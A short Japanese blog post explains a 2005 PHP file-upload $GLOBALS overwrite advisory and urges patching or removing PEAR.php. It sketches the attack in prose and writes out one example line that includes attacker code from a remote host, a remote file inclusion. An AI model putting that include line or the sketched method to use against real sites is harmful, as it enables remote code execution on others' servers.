PHPに“最悪”のｾｷｭﾘﾃｨ･ﾎｰﾙ，全ﾕｰｻﾞｰは今すぐ対処を
というﾆｭｰｽがでています｡
かなり緊張感高まる見出しですが､夕方の記事ではこんな感じ｡
元記事｢Advisory 20/2005: PHP File-Upload $GLOBALS Overwrite Vulnerability｣を解釈して注意点を列挙してみるとこんな感じでしょうか｡
･ﾌｧｲﾙのｱｯﾌﾟﾛｰﾄﾞ機能が無いWebｻｲﾄも影響を受けます
ﾌｧｲﾙｱｯﾌﾟﾛｰﾄﾞに起因した不具合ですがどんなWebｻｲﾄも対象になります｡
(ﾛｰｶﾙでﾌｧｲﾙｱｯﾌﾟﾛｰﾄﾞの POST ｺｰﾄﾞを作って､攻撃ｻｲﾄに投げればOK)
･PEAR を使っていると危険度が増します｡
PEAR に限らず､ｵｰﾌﾟﾝｿｰｽなﾗｲﾌﾞﾗﾘを使っていると､攻撃箇所を探される可能性
があります(PEAR や vBulletin は簡単に攻撃できるところがあるとのこと)｡
簡単なんで書いてしまいますが PHP で
include("http://myserver.com/attackcode.php");
というような外部ｿｰｽを include することが許可されていて､PEAR では一部の include ﾊﾟｽを Global 変数で指定するようなｺｰﾄﾞが含まれているとのこと｡
で､File-Upload を投げて Global 変数を書き換えてしまえば･･･orz. という感じです(と思う)｡
PEAR.php を使っていなければ削除したほうがいいですし､使っているなら早急なﾊﾟｯﾁ当てを検討したほうがいいでしょう｡
そうでないｻｲﾄも､できるだけﾊﾟｯﾁ当てを､という感じです｡
＃ﾆｭｰｽﾀｲﾄﾙにびっくりしてﾊﾞﾀﾊﾞﾀ調べましたので､間違いあればご指摘ください ^^;